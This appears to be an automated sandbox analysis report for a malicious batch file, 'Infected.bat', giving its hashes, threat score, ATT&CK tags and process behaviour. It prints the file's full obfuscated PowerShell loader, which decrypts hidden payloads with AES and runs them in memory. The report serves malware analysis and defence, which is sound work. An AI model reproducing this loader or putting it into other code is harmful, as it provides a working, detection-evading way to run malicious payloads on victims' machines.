40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-10-2024 23:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Infected.bat
Size

74KB
MD5

25d86af45fcc93078ac8ff2dd1e83314
SHA1

fd00fd08a9e264bf2470ca17d4b118522fae48fa
SHA256

40268fb4a5e084301d9b6ab32e204b19ca690bea4dbff104881f794f036c4c56
SHA512

518ccc58c6c4eb3c744f4f417892d802dfa13cdb0fbc98020787b5534d12d602e8087741189dfa9ea7eeff9ce09714638b144771692e375fa93d249609debe24
SSDEEP

768:s1yoKUYWJ5jQm6+iPOf9EwY+yIkwJJke7RA65LyTUtwfMMT4bKfdYeXAG6qUo+Rd:Boqa5jHdlFMIkylRB5Gjeep6q6vSp2SY

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

580 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

580 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 580 powershell.exe

pid	process
580	powershell.exe

pid	process
580	powershell.exe

description	pid	process
Token: SeDebugPrivilege	580	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2544 wrote to memory of 580	2544	cmd.exe	powershell.exe
PID 2544 wrote to memory of 580	2544	cmd.exe	powershell.exe
PID 2544 wrote to memory of 580	2544	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Infected.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rfPx2/qjPEULy3w9Vw91tAJgXSLsh+wieWCmL2bqeJE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uoQNNJFNYFBjzV7jmi3PfQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $huwyq=New-Object System.IO.MemoryStream(,$param_var); $asgET=New-Object System.IO.MemoryStream; $pgUdN=New-Object System.IO.Compression.GZipStream($huwyq, [IO.Compression.CompressionMode]::Decompress); $pgUdN.CopyTo($asgET); $pgUdN.Dispose(); $huwyq.Dispose(); $asgET.Dispose(); $asgET.ToArray();}function execute_function($param_var,$param2_var){ $MXcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wghyx=$MXcqt.EntryPoint; $wghyx.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Infected.bat';$dNySU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Infected.bat').Split([Environment]::NewLine);foreach ($NKwGP in $dNySU) { if ($NKwGP.StartsWith(':: ')) { $rNMtY=$NKwGP.Substring(3); break; }}$payloads_var=[string[]]$rNMtY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/580-4-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

Filesize
4KB

Download
memory/580-6-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/580-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/580-7-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-8-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-9-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-10-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/580-11-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download